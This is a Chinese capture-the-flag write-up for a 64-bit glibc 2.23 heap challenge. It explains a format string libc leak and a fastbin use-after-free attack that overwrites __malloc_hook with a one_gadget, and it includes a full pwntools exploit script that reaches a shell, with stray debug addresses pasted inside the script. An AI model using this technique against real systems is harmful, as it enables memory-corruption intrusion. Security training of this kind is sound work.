一道64位堆题
开头会对输入的字符串进行检测
check里面会print开头输入的字符串的内容,此处有个格式化字符串漏洞可以泄露地址。
经过调试偏移为十七处的地址为__libc_start_main+240
add函数:每次会申请两个堆块,size(<0x70)和content自定义
edit函数:修改堆块内容。
free函数:每次把对应的两堆块同时free掉但是没有置零存在uaf
show:展示内容感觉没啥用
思路:
1)利用开头的格式化字符串漏洞求出libcbase
2)利用uaf和edit的功能,将free掉的堆块的地址改成malloc-0x23
3)再次申请堆块将malloc的地址改成onegadget,下次申请堆块时即可实现get shell
通过格式化字符串漏洞求出malloc和onegadget的真实地址
p.sendafter('Input your code please:','OreOOrereOOreO%17$p')
p.sendlineafter('> Now please tell me what you want to do :','0')
p.recvuntil('0x')
gdb.attach(p)
libc_s=int(p.recv(12), 16)-240
print(hex(libc_s))
libcbase=libc_s-libc.sym['__libc_start_main']
malloc=libc.sym['__malloc_hook']+libcbase
oo=[0x45216,0x4526a,0xf02a4,0xf1147]
one=libcbase+0xf1147 #0xf02a4
先申请两个堆块再free掉,这时利用edit将堆块的值改成malloc-0x23
add(0x68,b'a',0x68,b'b')
dele(1)
#dele(1)
edit(1,p64(0),p64(malloc-0x23))
free掉时fastbin中堆块状况如下:
edit后fastbin中其中一个堆块已经被修改成malloc-0x23的地址了
此时再次申请两个堆块,后边申请的堆块就会申请到malloc-0x23的位置,此时写入的内容会在malloc-0x23+0x10所以填入0x13的数据后就可以将malloc的数据改成onegadget了。接着下次申请堆块调用malloc时就会触发onegadget实现getshell。
add(0x68,b'a'*0x13,0x68,b'a'*0x13+p64(one))
#gdb.attach(p)
p.sendlineafter('Now please tell me what you want to do :','1')
p.sendlineafter('O\'s length : ',str(0x10))
小总结:
1.在fastbin attack时要注意堆的格式检测,所以通常要填入malloc_hook-0x23(在2.23的堆下)来绕过检测因为这个位置的值为0x7f可以绕过检测。
2.free掉fastbin后由于通过fd连接,修改堆块内容常常可以实现任意地址写的功能
完成代码如下:
from pwn import *
from LibcSearcher import *
import hashlib
import time
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64', log_level='debug')
elf=ELF('./1')
libc=ELF('./ubun16-64.so')
mode =0
if mode == 0:
p = process("./1")
else:
p = remote("node4.buuoj.cn", 26505)
def add(size,content,size1,content1):
p.sendlineafter('> Now please tell me what you want to do :','1')
p.sendlineafter('length :',str(size))
p.sendafter('> O :',content)
p.sendlineafter('length :',str(size1))
p.sendafter('> RE :',content1)
def dele(id1):
p.sendlineafter('> Now please tell me what you want to do :','3')
p.sendlineafter('> Oreo ID :',str(id1))
0x630dae55e0d5bf00
0x7ffff7a2d840
def show(id1):
p.sendlineafter('> Now please tell me what you want to do :','4')
p.sendlineafter('> Oreo ID :',str(id1))
def edit(id1,content,content1):
p.sendlineafter('> Now please tell me what you want to do :','2')
p.sendlineafter('> Oreo ID :',str(id1))
p.sendafter('> O : ',content)
p.sendafter('> RE :',content1)
p.sendafter('Input your code please:','OreOOrereOOreO%17$p')
p.sendlineafter('> Now please tell me what you want to do :','0')
p.recvuntil('0x')
gdb.attach(p)
libc_s=int(p.recv(12), 16)-240
print(hex(libc_s))
libcbase=libc_s-libc.sym['__libc_start_main']
malloc=libc.sym['__malloc_hook']+libcbase
oo=[0x45216,0x4526a,0xf02a4,0xf1147]
one=libcbase+0xf1147 #0xf02a4
add(0x68,b'a',0x68,b'b')
dele(1)
#dele(1)
edit(1,p64(0),p64(malloc-0x23))
add(0x68,b'a'*0x13,0x68,b'a'*0x13+p64(one))
#gdb.attach(p)
p.sendlineafter('Now please tell me what you want to do :','1')
p.sendlineafter('O\'s length : ',str(0x10))
#add(0x68,b'aaaa',0x68,b'bbbb')
#gdb.attach(p)
p.interactive()
不知道为什么本地打不通远程打通了有点奇怪,本萌新对堆的理解还很浅薄,如有理解错误也望师傅们指正。